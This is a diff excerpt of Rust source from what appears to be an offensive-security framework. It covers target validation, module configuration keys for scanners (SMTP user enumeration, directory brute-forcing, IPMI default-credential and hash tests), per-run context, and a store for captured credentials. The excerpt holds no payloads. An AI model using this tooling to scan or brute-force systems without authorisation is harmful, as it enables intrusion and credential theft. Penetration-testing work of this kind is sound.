static VALID_CHARS: once_cell::sync::OnceCell<Regex> = once_cell::sync::OnceCell::new();
|
||||
let valid_chars = VALID_CHARS.get_or_try_init(|| {
|
||||
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$")
|
||||
.map_err(|e| anyhow!("internal error: VALID_CHARS regex failed to compile: {e}"))
|
||||
})?;
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
));
|
||||
}
|
||||
|
||||
// Basic hostname format check (not starting/ending with special chars)
|
||||
if target.starts_with('.') || target.starts_with('-') {
|
||||
return Err(anyhow!("Target cannot start with '.' or '-'"));
|
||||
}
|
||||
|
||||
// A single trailing dot (FQDN root label, e.g. "example.com.") is
|
||||
// allowed implicitly; consecutive dots are rejected just below.
|
||||
// Check for consecutive dots (invalid in hostnames)
|
||||
if target.contains("..") {
|
||||
return Err(anyhow!("Target cannot contain consecutive dots"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let guard = self.target.read().unwrap_or_else(|e| e.into_inner());
|
||||
guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
TargetConfig::Multi(targets) => targets.join(", "),
|
||||
})
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
self.target.read().map(|g| g.is_some()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)) | Some(TargetConfig::Multi(_)))).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().unwrap_or_else(|e| e.into_inner());
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
Some(Self::network_size(net))
|
||||
}
|
||||
Some(TargetConfig::Multi(targets)) => {
|
||||
let mut total = 0u64;
|
||||
for t in targets {
|
||||
if let Ok(net) = t.parse::<IpNetwork>() {
|
||||
total = total.saturating_add(Self::network_size(&net));
|
||||
} else if std::path::Path::new(t).is_file() {
|
||||
// A file member contributes its real target count (one per
|
||||
// non-empty, non-comment line), not a flat 1 — otherwise a
|
||||
// comma-list containing a host file wildly under-estimates
|
||||
// the scan size used for ETA/throttling.
|
||||
let lines = std::fs::read_to_string(t)
|
||||
.map(|s| {
|
||||
s.lines()
|
||||
.filter(|l| {
|
||||
let l = l.trim();
|
||||
!l.is_empty() && !l.starts_with('#')
|
||||
})
|
||||
.count() as u64
|
||||
})
|
||||
.unwrap_or(1);
|
||||
total = total.saturating_add(lines.max(1));
|
||||
} else {
|
||||
total = total.saturating_add(1);
|
||||
}
|
||||
}
|
||||
Some(total)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Calculate the number of IPs in a network
|
||||
fn network_size(net: &IpNetwork) -> u64 {
|
||||
match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 { 1u64 } else { 2u64.pow(32 - prefix) }
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 { u64::MAX } else { 2u64.pow(exp) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
*self.target.write().unwrap_or_else(|e| e.into_inner()) = None;
|
||||
}
|
||||
}
|
||||
|
||||
/// Global configuration instance
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(GlobalConfig::new);
|
||||
|
||||
/// Module-level configuration for API-driven execution
|
||||
/// This is set by the API before running a module and read by modules
|
||||
/// to get pre-configured values instead of prompting the user
|
||||
///
|
||||
/// # Unified Prompt Keys
|
||||
///
|
||||
/// These are the standardized `custom_prompts` keys used across all
|
||||
/// scanner modules (via `cfg_prompt_*` in utils.rs). Supply them in the
|
||||
/// JSON `"prompts"` object of an API `/api/run` request.
|
||||
///
|
||||
/// ## Common Keys (used by many modules)
|
||||
/// | Key | Type | Description |
|
||||
/// |-------------------|--------|------------------------------------------------|
|
||||
/// | `port` | u16 | Target service port |
|
||||
/// | `timeout` | int | Connection/request timeout (seconds or ms) |
|
||||
/// | `verbose` | y/n | Verbose output |
|
||||
/// | `save_results` | y/n | Save results to file |
|
||||
/// | `output_file` | string | Output filename for results |
|
||||
/// | `concurrency` | int | Number of concurrent threads/tasks |
|
||||
/// | `threads` | int | Alias for concurrency (some modules) |
|
||||
/// | `wordlist` | path | Path to wordlist file |
|
||||
/// | `target_file` | path | Path to file containing targets |
|
||||
/// | `additional_targets` | string | Comma-separated additional targets |
|
||||
/// | `mode` | string | Operation mode selector (1, 2, 3, etc.) |
|
||||
///
|
||||
/// ## Scanner-Specific Keys
|
||||
///
|
||||
/// ### Port Scanner (`scanners/port_scanner`)
|
||||
/// `port_range`, `scan_method`, `show_only_open`, `ttl`, `source_port`, `data_length`
|
||||
///
|
||||
/// ### SSH Scanner (`scanners/ssh_scanner`)
|
||||
/// `load_from_file`, `target_file`
|
||||
///
|
||||
/// ### DNS Recursion (`scanners/dns_recursion`)
|
||||
/// `domain`, `record_type`
|
||||
///
|
||||
/// ### SMTP User Enum (`scanners/smtp_user_enum`)
|
||||
/// `timeout_ms`, `save_valid`, `valid_output`, `save_unknown`, `unknown_output`
|
||||
///
|
||||
/// ### Ping Sweep (`scanners/ping_sweep`)
|
||||
/// `add_manual_targets`, `manual_target`, `load_from_file`, `save_up_hosts`,
|
||||
/// `up_hosts_file`, `save_down_hosts`, `down_hosts_file`, `use_icmp`, `use_tcp`,
|
||||
/// `tcp_ports`, `use_syn`, `syn_ports`, `use_ack`, `ack_ports`
|
||||
///
|
||||
/// ### HTTP Title Scanner (`scanners/http_title_scanner`)
|
||||
/// `check_http`, `check_https`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### HTTP Method Scanner (`scanners/http_method_scanner`)
|
||||
/// `scheme`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### Dir Brute (`scanners/dir_brute`)
|
||||
/// `scan_mode`, `delay_ms`, `random_agent`, `custom_cookies`, `cookies`,
|
||||
/// `use_https`, `base_path`, `template_name`, `template_file`, `sort_by`
|
||||
///
|
||||
/// ### Sequential Fuzzer (`scanners/sequential_fuzzer`)
|
||||
/// `min_length`, `max_length`, `charset`, `custom_charset`, `encoding`,
|
||||
/// `add_cookies`, `cookies`, `append_slash`, `template_name`, `template_file`, `target_url`
|
||||
///
|
||||
/// ### API Endpoint Scanner (`scanners/api_endpoint_scanner`)
|
||||
/// `output_dir`, `use_spoofing`, `use_generic_payload`, `enable_delete`,
|
||||
/// `enable_extended_methods`, `modules`, `enum_mode`, `id_start`, `id_end`,
|
||||
/// `id_file`, `endpoint_source`, `base_path`, `endpoint_file`
|
||||
///
|
||||
/// ### IPMI Enum/Exploit (`scanners/ipmi_enum_exploit`)
|
||||
/// `cidr`, `target`, `test_cipher_zero`, `test_anonymous`, `test_default_creds`,
|
||||
/// `test_rakp_hash`, `continue_large_scan`, `destroy_confirm`
|
||||
///
|
||||
/// ### SSDP MSearch (`scanners/ssdp_msearch`)
|
||||
/// `retries`, `search_target`
|
||||
///
|
||||
/// ### Sample Scanner (`scanners/sample_scanner`)
|
||||
/// `check_http`, `check_https`
|
||||
#[derive(Clone, Debug, Default)]
|
||||
pub struct ModuleConfig {
|
||||
pub custom_prompts: HashMap<String, String>,
|
||||
pub api_mode: bool,
|
||||
}
|
||||
|
||||
impl ModuleConfig {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
|
||||
/// Global module config instance (API-provided configuration)
|
||||
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
|
||||
Arc::new(RwLock::new(ModuleConfig::new()))
|
||||
});
|
||||
|
||||
/// Get a clone of the current module config.
|
||||
/// Checks the task-local RunContext first (for concurrent API runs),
|
||||
/// then falls back to the global MODULE_CONFIG.
|
||||
pub fn get_module_config() -> ModuleConfig {
|
||||
// Try task-local context first (set by API handler per-request)
|
||||
let task_local = crate::context::RUN_CONTEXT.try_with(|ctx| ctx.config.clone());
|
||||
if let Ok(config) = task_local {
|
||||
return config;
|
||||
}
|
||||
// Fallback to global (for CLI/shell mode)
|
||||
MODULE_CONFIG.read()
|
||||
.map(|g| g.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Get the per-request target from the task-local RunContext, if set.
|
||||
/// Returns `None` in shell/CLI mode or when no context is active.
|
||||
pub fn get_run_target() -> Option<String> {
|
||||
crate::context::RUN_CONTEXT
|
||||
.try_with(|ctx| ctx.target.clone())
|
||||
.ok()
|
||||
.flatten()
|
||||
}
|
||||
|
||||
pub fn results_dir() -> std::path::PathBuf {
|
||||
let dir = home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("results");
|
||||
if !dir.exists() {
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) {
|
||||
eprintln!("[!] Failed to create results directory {}: {}", dir.display(), e);
|
||||
}
|
||||
}
|
||||
dir
|
||||
}
|
||||
+319
@@ -0,0 +1,319 @@
|
||||
// src/context.rs
|
||||
//
|
||||
// Per-run execution context using tokio task-locals.
|
||||
// Provides per-task ModuleConfig, target, and output accumulator
|
||||
// for concurrent API runs.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicU64, AtomicUsize, Ordering};
|
||||
|
||||
use crate::config::ModuleConfig;
|
||||
|
||||
const MAX_PROMPT_CACHE_ENTRIES: usize = 256;
|
||||
|
||||
/// Shared prompt cache for mass scan / CIDR / file target modes.
|
||||
/// The first concurrent task to need a prompt key acquires the lock,
|
||||
/// prompts the user interactively, and caches the result. All subsequent tasks
|
||||
/// find the cached answer and skip the prompt entirely.
|
||||
pub type PromptCache = Arc<tokio::sync::Mutex<HashMap<String, String>>>;
|
||||
|
||||
/// Create a new empty prompt cache.
|
||||
pub fn new_prompt_cache() -> PromptCache {
|
||||
Arc::new(tokio::sync::Mutex::new(HashMap::new()))
|
||||
}
|
||||
|
||||
/// Try to insert into a prompt cache, respecting the size cap.
|
||||
/// Returns false if the cache is full (entry not inserted).
|
||||
pub fn cache_insert(map: &mut HashMap<String, String>, key: String, value: String) -> bool {
|
||||
if map.len() >= MAX_PROMPT_CACHE_ENTRIES && !map.contains_key(&key) {
|
||||
return false;
|
||||
}
|
||||
map.insert(key, value);
|
||||
true
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GLOBAL BATCH MODE — fallback for when task-locals don't propagate
|
||||
// ============================================================
|
||||
|
||||
/// Refcount of active batch guards. Batch mode is active when > 0.
|
||||
static BATCH_REFCOUNT: AtomicUsize = AtomicUsize::new(0);
|
||||
static BATCH_CACHE: std::sync::LazyLock<PromptCache> = std::sync::LazyLock::new(new_prompt_cache);
|
||||
|
||||
static BATCH_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
|
||||
static CACHE_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
|
||||
|
||||
/// RAII guard that decrements the batch refcount on drop, even on early
|
||||
/// `?` returns or panics. Use `enter_batch_mode()` to obtain one.
|
||||
pub struct BatchGuard(());
|
||||
|
||||
impl Drop for BatchGuard {
|
||||
fn drop(&mut self) {
|
||||
BATCH_REFCOUNT.fetch_sub(1, Ordering::Release);
|
||||
}
|
||||
}
|
||||
|
||||
/// Activate global batch mode. Returns a guard that automatically
|
||||
/// deactivates it when dropped (including on `?` early returns).
|
||||
/// Nested/concurrent calls are safe — batch stays active until all guards drop.
|
||||
/// The cache is cleared lazily on first access in each new batch generation,
|
||||
/// so this function is lock-free and safe to call from async code.
|
||||
pub fn enter_batch_mode() -> BatchGuard {
|
||||
let prev = BATCH_REFCOUNT.fetch_add(1, Ordering::AcqRel);
|
||||
if prev == 0 {
|
||||
BATCH_GEN.fetch_add(1, Ordering::Release);
|
||||
}
|
||||
BatchGuard(())
|
||||
}
|
||||
|
||||
pub fn is_batch_active() -> bool {
|
||||
BATCH_REFCOUNT.load(Ordering::Acquire) > 0
|
||||
}
|
||||
|
||||
pub fn batch_cache() -> &'static PromptCache {
|
||||
&BATCH_CACHE
|
||||
}
|
||||
|
||||
pub fn batch_generation() -> u64 {
|
||||
BATCH_GEN.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
pub(crate) fn cache_generation() -> u64 {
|
||||
CACHE_GEN.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
pub(crate) fn set_cache_generation(generation: u64) {
|
||||
CACHE_GEN.store(generation, Ordering::Release);
|
||||
}
|
||||
|
||||
tokio::task_local! {
|
||||
/// Task-local run context. Set by the API/CLI dispatcher before invoking a module.
|
||||
/// Modules don't need to reference this directly — the `cfg_prompt_*` functions
|
||||
/// check it automatically.
|
||||
pub static RUN_CONTEXT: Arc<RunContext>;
|
||||
|
||||
/// Optional per-target scan counters. The job manager scopes this around a
|
||||
/// backgrounded run so the scheduler can publish live progress (total /
|
||||
/// succeeded / failed targets) back into the job's `JobProgress`. Unset for
|
||||
/// foreground/CLI runs, in which case the scheduler simply skips it.
|
||||
pub static SCAN_COUNTERS: Arc<ScanCounters>;
|
||||
}
|
||||
|
||||
/// Live per-target progress for a running scan, shared from the scheduler back
|
||||
/// to the job manager. All counters are monotonic for the lifetime of one run.
|
||||
#[derive(Default)]
|
||||
pub struct ScanCounters {
|
||||
pub total: AtomicU64,
|
||||
pub succeeded: AtomicU64,
|
||||
pub failed: AtomicU64,
|
||||
}
|
||||
|
||||
/// The active scan counters, if a job scoped them. `None` for foreground runs.
|
||||
pub fn scan_counters() -> Option<Arc<ScanCounters>> {
|
||||
SCAN_COUNTERS.try_with(|c| c.clone()).ok()
|
||||
}
|
||||
|
||||
/// Per-run context carrying module config, target, and structured output accumulator.
|
||||
pub struct RunContext {
|
||||
/// Module configuration for this run (prompts, api_mode, etc.)
|
||||
pub config: ModuleConfig,
|
||||
/// Per-request target override (API mode). Shell mode leaves this None.
|
||||
pub target: Option<String>,
|
||||
/// Shared prompt cache for concurrent dispatch modes.
|
||||
/// When set, `cfg_prompt_*` functions check this cache before prompting stdin.
|
||||
pub prompt_cache: Option<PromptCache>,
|
||||
/// Cooperative cancellation signal for this run. `Job::kill` triggers
|
||||
/// `.cancel()` on this token; modules can check `crate::context::is_cancelled()`
|
||||
/// in their loops to terminate gracefully. Default is an unfired token, so
|
||||
/// modules that don't check it behave exactly as before.
|
||||
pub cancel: tokio_util::sync::CancellationToken,
|
||||
/// Tenant identity for multi-tenant isolation. Set from the PQ session's
|
||||
/// `client_name` in API mode; `None` in shell mode (falls back to "local").
|
||||
pub tenant_id: Option<String>,
|
||||
/// `category/name` path of the module being run. Set by the scheduler
|
||||
/// before invoking the module so `events::emit` and finding helpers
|
||||
/// can attribute output to the right module without each module
|
||||
/// passing the path manually. Empty when called outside a scheduled
|
||||
/// run (e.g. utility code invoked from the shell).
|
||||
pub module_path: String,
|
||||
/// Tracked task spawns. Modules call `crate::context::spawn(...)` to
|
||||
/// register a `tokio::spawn`; the scheduler aborts every handle here
|
||||
/// in `Module::cleanup` so cancelled runs don't leak orphan tasks.
|
||||
pub spawned: tokio::sync::Mutex<tokio::task::JoinSet<()>>,
|
||||
}
|
||||
|
||||
impl RunContext {
|
||||
/// Create a new run context with config and target.
|
||||
pub fn with_target(config: ModuleConfig, target: String) -> Self {
|
||||
Self {
|
||||
config,
|
||||
target: Some(target),
|
||||
prompt_cache: None,
|
||||
cancel: tokio_util::sync::CancellationToken::new(),
|
||||
tenant_id: None,
|
||||
module_path: String::new(),
|
||||
spawned: tokio::sync::Mutex::new(tokio::task::JoinSet::new()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Create a run context with a shared prompt cache (for mass scan / CIDR modes).
|
||||
/// All concurrent tasks share the same cache so prompts are answered only once.
|
||||
pub fn with_prompt_cache(config: ModuleConfig, cache: PromptCache, target: String) -> Self {
|
||||
Self {
|
||||
config,
|
||||
target: Some(target),
|
||||
prompt_cache: Some(cache),
|
||||
cancel: tokio_util::sync::CancellationToken::new(),
|
||||
tenant_id: None,
|
||||
module_path: String::new(),
|
||||
spawned: tokio::sync::Mutex::new(tokio::task::JoinSet::new()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Attach an externally-managed cancellation token (e.g. one owned by
|
||||
/// `JobManager` so `kill` can trigger it).
|
||||
pub fn with_cancellation(mut self, token: tokio_util::sync::CancellationToken) -> Self {
|
||||
self.cancel = token;
|
||||
self
|
||||
}
|
||||
|
||||
/// Attach the module path so finding-emission helpers can attribute
|
||||
/// output to the right module.
|
||||
pub fn with_module_path(mut self, module_path: String) -> Self {
|
||||
self.module_path = module_path;
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// COOPERATIVE CANCELLATION HELPERS
|
||||
// ============================================================
|
||||
|
||||
/// Returns `true` if the current run has been cancelled.
|
||||
///
|
||||
/// Module loops that want to be interruptible should call this each iteration:
|
||||
///
|
||||
/// ```ignore
|
||||
/// for target in targets {
|
||||
/// if crate::context::is_cancelled() { break; }
|
||||
/// ...
|
||||
/// }
|
||||
/// ```
|
||||
///
|
||||
/// Returns `false` if called outside of a `RUN_CONTEXT` scope (e.g. in tests
|
||||
/// or top-level CLI code), so it's always safe to call.
|
||||
pub fn is_cancelled() -> bool {
|
||||
RUN_CONTEXT.try_with(|ctx| ctx.cancel.is_cancelled()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Returns a clone of the current run's cancellation token, suitable for
|
||||
/// passing to `tokio::select!` or `child.cancelled().await`.
|
||||
///
|
||||
/// Returns `None` if called outside of a `RUN_CONTEXT` scope.
|
||||
pub fn cancellation_token() -> Option<tokio_util::sync::CancellationToken> {
|
||||
RUN_CONTEXT.try_with(|ctx| ctx.cancel.clone()).ok()
|
||||
}
|
||||
|
||||
/// Returns the tenant_id for the current run, or `None` if not in a
|
||||
/// tenant-scoped context (shell mode / no RunContext).
|
||||
pub fn current_tenant_id() -> Option<String> {
|
||||
RUN_CONTEXT.try_with(|ctx| ctx.tenant_id.clone()).ok().flatten()
|
||||
}
|
||||
|
||||
/// Returns the `category/name` path of the module currently running in
|
||||
/// this task. Empty when called outside a `RUN_CONTEXT` scope.
|
||||
pub fn current_module_path() -> String {
|
||||
RUN_CONTEXT
|
||||
.try_with(|ctx| ctx.module_path.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Spawn a tracked tokio task that will be aborted when the current run
|
||||
/// finishes (via `Module::cleanup` or cancellation). Falls back to a
|
||||
/// plain `tokio::spawn` if called outside a `RUN_CONTEXT` scope.
|
||||
pub fn spawn<F>(future: F)
|
||||
where
|
||||
F: std::future::Future<Output = ()> + Send + 'static,
|
||||
{
|
||||
let attached = RUN_CONTEXT
|
||||
.try_with(|ctx| ctx.clone())
|
||||
.ok();
|
||||
if let Some(ctx) = attached {
|
||||
// Acquire the lock synchronously via `try_lock` first to avoid a
|
||||
// race where `abort_all_spawned` fires before the deferred
|
||||
// `tokio::spawn` acquires the lock. If contention prevents
|
||||
// `try_lock`, fall back to a spawned acquire — the worst that
|
||||
// happens is the future misses an `abort_all` that fires in the
|
||||
// narrow window (same as the old code).
|
||||
if let Ok(mut joinset) = ctx.spawned.try_lock() {
|
||||
joinset.spawn(future);
|
||||
} else {
|
||||
let ctx = ctx.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut joinset = ctx.spawned.lock().await;
|
||||
joinset.spawn(future);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
tokio::spawn(future);
|
||||
}
|
||||
}
|
||||
|
||||
/// Abort every tracked spawn registered during the current run. Called by
|
||||
/// the scheduler in `Module::cleanup` and on cancellation paths.
|
||||
pub async fn abort_all_spawned() {
|
||||
if let Ok(ctx) = RUN_CONTEXT.try_with(|ctx| ctx.clone()) {
|
||||
let mut joinset = ctx.spawned.lock().await;
|
||||
joinset.abort_all();
|
||||
// Drain — abort_all only marks; we want to await so handles drop
|
||||
// before we return.
|
||||
while joinset.join_next().await.is_some() {}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// HELPER: Run a future within a RunContext scope
|
||||
// ============================================================
|
||||
|
||||
/// Execute an async closure inside a task-local `RUN_CONTEXT` with a target.
|
||||
/// Returns the closure's result plus the `RunContext`.
|
||||
/// Automatically inherits the tenant identity from `CURRENT_TENANT` if set.
|
||||
pub async fn run_with_context_target<F, Fut, T>(config: crate::config::ModuleConfig, target: String, f: F) -> (T, std::sync::Arc<RunContext>)
|
||||
where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = T>,
|
||||
{
|
||||
let mut rc = RunContext::with_target(config, target);
|
||||
if let Ok(tid) = crate::tenant::CURRENT_TENANT.try_with(|t| t.clone()) {
|
||||
rc.tenant_id = Some(tid);
|
||||
}
|
||||
let ctx = std::sync::Arc::new(rc);
|
||||
let ctx_clone = ctx.clone();
|
||||
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
|
||||
(result, ctx)
|
||||
}
|
||||
|
||||
/// Same as `run_with_context_target`, but threads an externally-managed
|
||||
/// `CancellationToken` into the `RunContext`. Used by the job manager so that
|
||||
/// `Job::kill` can signal cooperative cancellation to module code via
|
||||
/// `crate::context::is_cancelled()`.
|
||||
pub async fn run_with_context_target_and_cancel<F, Fut, T>(
|
||||
config: crate::config::ModuleConfig,
|
||||
target: String,
|
||||
cancel: tokio_util::sync::CancellationToken,
|
||||
f: F,
|
||||
) -> (T, std::sync::Arc<RunContext>)
|
||||
where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = T>,
|
||||
{
|
||||
let mut rc = RunContext::with_target(config, target).with_cancellation(cancel);
|
||||
if let Ok(tid) = crate::tenant::CURRENT_TENANT.try_with(|t| t.clone()) {
|
||||
rc.tenant_id = Some(tid);
|
||||
}
|
||||
let ctx = std::sync::Arc::new(rc);
|
||||
let ctx_clone = ctx.clone();
|
||||
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
|
||||
(result, ctx)
|
||||
}
|
||||
@@ -0,0 +1,342 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use colored::*;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Type of credential stored.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum CredType {
|
||||
Password,
|
||||
Hash,
|
||||
Key,
|
||||
Token,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CredType {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CredType::Password => write!(f, "password"),
|
||||
CredType::Hash => write!(f, "hash"),
|
||||
CredType::Key => write!(f, "key"),
|
||||
CredType::Token => write!(f, "token"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A single credential entry.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct CredEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub service: String,
|
||||
pub username: String,
|
||||
pub secret: String,
|
||||
pub cred_type: CredType,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
pub valid: bool,
|
||||
}
|
||||
|
||||
/// Parameters for adding a new credential.
|
||||
pub struct NewCred<'a> {
|
||||
pub host: &'a str,
|
||||
pub port: u16,
|
||||
pub service: &'a str,
|
||||
pub username: &'a str,
|
||||
pub secret: &'a str,
|
||||
pub cred_type: CredType,
|
||||
pub source_module: &'a str,
|
||||
}
|
||||
|
||||
/// Credential store backed by a JSON file.
|
||||
pub struct CredStore {
|
||||
entries: RwLock<Vec<CredEntry>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl CredStore {
|
||||
fn new() -> Self {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit");
|
||||
Self::with_base_dir(base)
|
||||
}
|
||||
|
||||
/// Create a credential store under a custom base directory.
|
||||
pub(crate) fn with_base_dir(base: PathBuf) -> Self {
|
||||
let file_path = base.join("creds.json");
|
||||
|
||||
// Synchronous load at init time
|
||||
let entries = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
if let Err(e) = std::fs::copy(&file_path, &backup) {
|
||||
eprintln!("[!] Failed to backup corrupted creds.json: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
// Read errors here are typically EACCES/EIO — back up the
|
||||
// unreadable file so we don't silently overwrite a user's
|
||||
// creds with an empty store.
|
||||
eprintln!("[!] Failed to read creds.json: {}. Preserving original.", e);
|
||||
let backup = file_path.with_extension("json.unreadable");
|
||||
if let Err(e) = std::fs::rename(&file_path, &backup) {
|
||||
eprintln!("[!] Rename failed: {}", e);
|
||||
}
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum length for credential fields to prevent memory abuse.
|
||||
const MAX_FIELD_LEN: usize = 4096;
|
||||
|
||||
/// Runaway-entry cap (mirrors loot's `MAX_LOOT_ENTRIES`) so a buggy loop
|
||||
/// can't grow the store unbounded.
|
||||
const MAX_CRED_ENTRIES: usize = 100_000;
|
||||
|
||||
/// Add a credential. Returns `Some(id)` on success, `None` on validation failure.
|
||||
pub async fn add(&self, cred: NewCred<'_>) -> Option<String> {
|
||||
// Input validation. Bound EVERY free-text field, not just host/secret/
|
||||
// username — `service` and `source_module` can carry attacker-influenced
|
||||
// banner text, and leaving them unbounded defeats the memory-abuse guard
|
||||
// this cap is here to provide.
|
||||
if cred.host.is_empty() || cred.host.len() > Self::MAX_FIELD_LEN {
|
||||
return None;
|
||||
}
|
||||
if cred.secret.len() > Self::MAX_FIELD_LEN
|
||||
|| cred.username.len() > Self::MAX_FIELD_LEN
|
||||
|| cred.service.len() > Self::MAX_FIELD_LEN
|
||||
|| cred.source_module.len() > Self::MAX_FIELD_LEN
|
||||
{
|
||||
return None;
|
||||
}
|
||||
// Scrub control/ANSI bytes from host + non-secret metadata before
|
||||
// storage so a credential captured from a hostile banner can't inject
|
||||
// terminal escapes on `creds list` / CSV export — matching loot and the
|
||||
// workspace. `username`/`secret` are kept verbatim so the stored
|
||||
// credential stays an exact match for the real one.
|
||||
let host = crate::utils::scrub_stored_text(cred.host);
|
||||
let service = crate::utils::scrub_stored_text(cred.service);
|
||||
let source_module = crate::utils::scrub_stored_text(cred.source_module);
|
||||
let username = cred.username.to_string();
|
||||
let secret = cred.secret.to_string();
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
// P1-1: hold the write lock across the disk save. Previous code
|
||||
// released the lock before calling `save_locked`, letting two
|
||||
// concurrent writers land disk writes in the wrong order — disk
|
||||
// and in-memory state could diverge after restart.
|
||||
{
|
||||
let mut entries = self.entries.write().await;
|
||||
// Dedup: re-running a brute against the same target shouldn't append
|
||||
// an identical row each time. If the exact same credential tuple
|
||||
// already exists, refresh its timestamp + valid flag and return its
|
||||
// id instead of pushing a duplicate.
|
||||
if let Some(existing) = entries.iter_mut().find(|e| {
|
||||
e.host == host
|
||||
&& e.port == cred.port
|
||||
&& e.service == service
|
||||
&& e.username == username
|
||||
&& e.secret == secret
|
||||
}) {
|
||||
existing.timestamp = now;
|
||||
existing.valid = true;
|
||||
let id = existing.id.clone();
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
return Some(id);
|
||||
}
|
||||
// Runaway-entry cap, re-checked under the write lock.
|
||||
if entries.len() >= Self::MAX_CRED_ENTRIES {
|
||||
eprintln!(
|
||||
"[!] Credential store full ({} entries) — clear creds before adding more",
|
||||
Self::MAX_CRED_ENTRIES
|
||||
);
|
||||
return None;
|
||||
}
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
entries.push(CredEntry {
|
||||
id: id.clone(),
|
||||
host,
|
||||
port: cred.port,
|
||||
service,
|
||||
username,
|
||||
secret,
|
||||
cred_type: cred.cred_type,
|
||||
source_module,
|
||||
timestamp: now,
|
||||
valid: true,
|
||||
});
|
||||
let snapshot = entries.clone();
|
||||
self.save_locked(&snapshot).await;
|
||||
Some(id)
